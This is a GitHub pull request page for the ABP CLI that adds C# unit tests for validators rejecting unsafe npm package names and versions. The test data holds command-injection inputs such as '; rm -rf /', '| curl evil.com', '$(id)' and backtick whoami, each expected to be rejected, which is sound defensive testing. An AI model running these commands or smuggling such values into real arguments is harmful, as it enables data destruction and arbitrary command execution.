-
Notifications
You must be signed in to change notification settings - Fork 3.7k
Sanitize package.json and prevent command injection in ABP CLI #25210
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Merged
Merged
Changes from all commits
Commits
Show all changes
5 commits
Select commit
Hold shift + click to select a range
f2d7070
Add --ignore-scripts flag to npm/yarn commands in ABP CLI
maliming 3ad44cb
Implement npm package name validation and add tests for it
maliming 34cafde
Add version validation, sanitize log output, and use CliUsageException
maliming c8149d8
Tighten version regex, centralize package name validation, handle nul…
maliming 7cfa641
Catch CliUsageException specifically in IsValidNpmPackageName
maliming File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Some comments aren't visible on the classic Files Changed page.
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
64 changes: 64 additions & 0 deletions
64
...test/Volo.Abp.Cli.Core.Tests/Volo/Abp/Cli/ProjectModification/NpmPackagesUpdater_Tests.cs
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,64 @@ | ||
| using Shouldly; | ||
| using Volo.Abp.Cli.ProjectModification; | ||
| using Volo.Abp.Cli.Utils; | ||
| using Xunit; | ||
|
|
||
| namespace Volo.Abp.Cli; | ||
|
|
||
| public class NpmPackagesUpdater_Tests | ||
| { | ||
| [Theory] | ||
| [InlineData("@abp/ng.core", true)] | ||
| [InlineData("@abp/ng.theme.shared", true)] | ||
| [InlineData("@abp/ng.components", true)] | ||
| [InlineData("@volo/abp.ng.lepton-x.core", true)] | ||
| [InlineData("@volo/abp.commercial.ng.ui", true)] | ||
| [InlineData("@volosoft/abp.ng.theme.lepton", true)] | ||
| [InlineData("@abp/core && calc.exe", false)] | ||
| [InlineData("@abp/core; rm -rf /", false)] | ||
| [InlineData("@abp/core | curl evil.com", false)] | ||
| [InlineData("@abp/core`whoami`", false)] | ||
| [InlineData("@abp/core$(id)", false)] | ||
| [InlineData("@abp/core\nnewline", false)] | ||
| [InlineData("@abp/ space", false)] | ||
| [InlineData("@abp/", false)] | ||
| [InlineData("@abp/ng core", false)] | ||
| [InlineData(null, false)] | ||
| [InlineData("", false)] | ||
| public void IsValidNpmPackageName(string packageName, bool expected) | ||
| { | ||
| NpmPackagesUpdater.IsValidNpmPackageName(packageName).ShouldBe(expected); | ||
| } | ||
|
|
||
| [Theory] | ||
| [InlineData("1.0.0", false)] | ||
| [InlineData("^8.0.0", false)] | ||
| [InlineData("~8.0.0", false)] | ||
| [InlineData("8.0.0-preview.1", false)] | ||
| [InlineData("8.0.0-preview20260401", false)] | ||
| [InlineData("8.0.0+build.123", false)] | ||
| [InlineData("latest", false)] | ||
| [InlineData("next", false)] | ||
| [InlineData(null, false)] | ||
| [InlineData("", false)] | ||
| [InlineData("1.0.0 && calc.exe", true)] | ||
| [InlineData("1.0.0; rm -rf /", true)] | ||
| [InlineData("1.0.0 | curl evil.com", true)] | ||
| [InlineData("1.0.0`whoami`", true)] | ||
| [InlineData("1.0.0$(id)", true)] | ||
| [InlineData("1.0.0\nnewline", true)] | ||
| [InlineData(">1.0.0", true)] | ||
| [InlineData("<2.0.0", true)] | ||
| [InlineData("1.0.0|2.0.0", true)] | ||
| public void EnsureSafeVersion(string version, bool shouldThrow) | ||
| { | ||
| if (shouldThrow) | ||
| { | ||
| Should.Throw<CliUsageException>(() => NpmHelper.EnsureSafeVersion(version)); | ||
| } | ||
| else | ||
| { | ||
| Should.NotThrow(() => NpmHelper.EnsureSafeVersion(version)); | ||
| } | ||
| } | ||
| } |
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Uh oh!
There was an error while loading. Please reload this page.